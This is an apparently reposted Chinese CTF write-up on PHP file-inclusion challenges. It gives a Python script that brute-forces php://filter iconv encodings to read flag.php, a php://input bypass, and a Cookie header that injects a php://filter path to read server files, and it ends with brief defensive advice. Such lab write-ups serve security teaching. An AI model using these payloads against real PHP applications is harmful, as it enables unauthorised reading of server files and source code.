• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

攻防世界 文件包含思路

武飞扬头像
「已注销」
帮助1

0x00

文件包含形成原因:

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php 中引发文件包含漏洞的通常是以下四个函数:1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意

在这次总结中主要是include()出现的漏洞

0x01

题目:file_inlcude

学新通

 本题用思路filename参数来传payload

先是用php://filter/read=convert.base64-encode/resource=flag.php去试探

学新通

回显为do not hack ! 说明存在对输入的过滤

尝试用协议的其他方法先对check.php

看的出来过滤了某些关键字符

 学新通

payload如下

  1.  
    import requests
  2.  
     
  3.  
    ip_port = 'http://61.147.171.105:55169/'
  4.  
    str1 = '?filename=php://filter/convert.iconv.{}.UCS-4*/resource=check.php'
  5.  
    #/var/www/html/flag.php
  6.  
    payload = []
  7.  
    # print(ip_port str1)
  8.  
    list_code = ['UCS-4*',
  9.  
    'UCS-4BE',
  10.  
    'UCS-4LE*',
  11.  
    'UCS-2',
  12.  
    'UCS-2BE',
  13.  
    'UCS-2LE',
  14.  
    'UTF-32*',
  15.  
    'UTF-32BE*',
  16.  
    'UTF-32LE*',
  17.  
    'UTF-16*',
  18.  
    'UTF-16BE*',
  19.  
    'UTF-16LE*',
  20.  
    'UTF-7',
  21.  
    'UTF7-IMAP',
  22.  
    'UTF-8*',
  23.  
    'ASCII*',
  24.  
    'EUC-JP*',
  25.  
    'SJIS*',
  26.  
    'eucJP-win*',
  27.  
    'SJIS-win*']
  28.  
    for i in list_code:
  29.  
    str3 = ip_port str1.format(i)
  30.  
    payload.append(str3)
  31.  
    for i in payload:
  32.  
    res = requests.get(i)
  33.  
    print(res.text)
  34.  
    print(i)
学新通

 继续用上面的payload爆破flag.php,结果就可以出来了

题目:fileclude

学新通

这题思路 传入file1 file2 绕过条件后执行include($file1)

而在这里需要用php://input来绕过file_get_contens($file2)的限制

file_get_contents ()函数

成功返回读数据,失败返回假

而这里需要用到post提交方法来传上hello ctf参数绕过

所以file1=php://filter/read=convert.base64-encode/resource=flag.php

file2=php://input

post 数据:hello ctf

结果就可以出来

题目:fileinclude

学新通

查看源码

学新通 

所以这里的突破口是cookie

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

学新通 这里有字符串拼接所以并没有.php结尾

最后将base64解密即可

 0x02

思路:相关的类似ctf题 都是通过绕过设定然后用漏洞执行相应的payload获取flag

在php include 文件包含中

伪协议用的较多

比如以上用过的

php://filter #过滤器

php://input 等详细的可以去看php文档

0x03

对于文件包含有危害就应当有防御的手段,首先就是先对输入的变量进行控制,比如不能有相关payload协议关键字出现;防止愿成包含在php.ini  allow_url_fopen和allow_url_include 设置为off等同时修改访问目录用户的权限。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgffgej
系列文章
更多 icon
同类精品
更多 icon
继续加载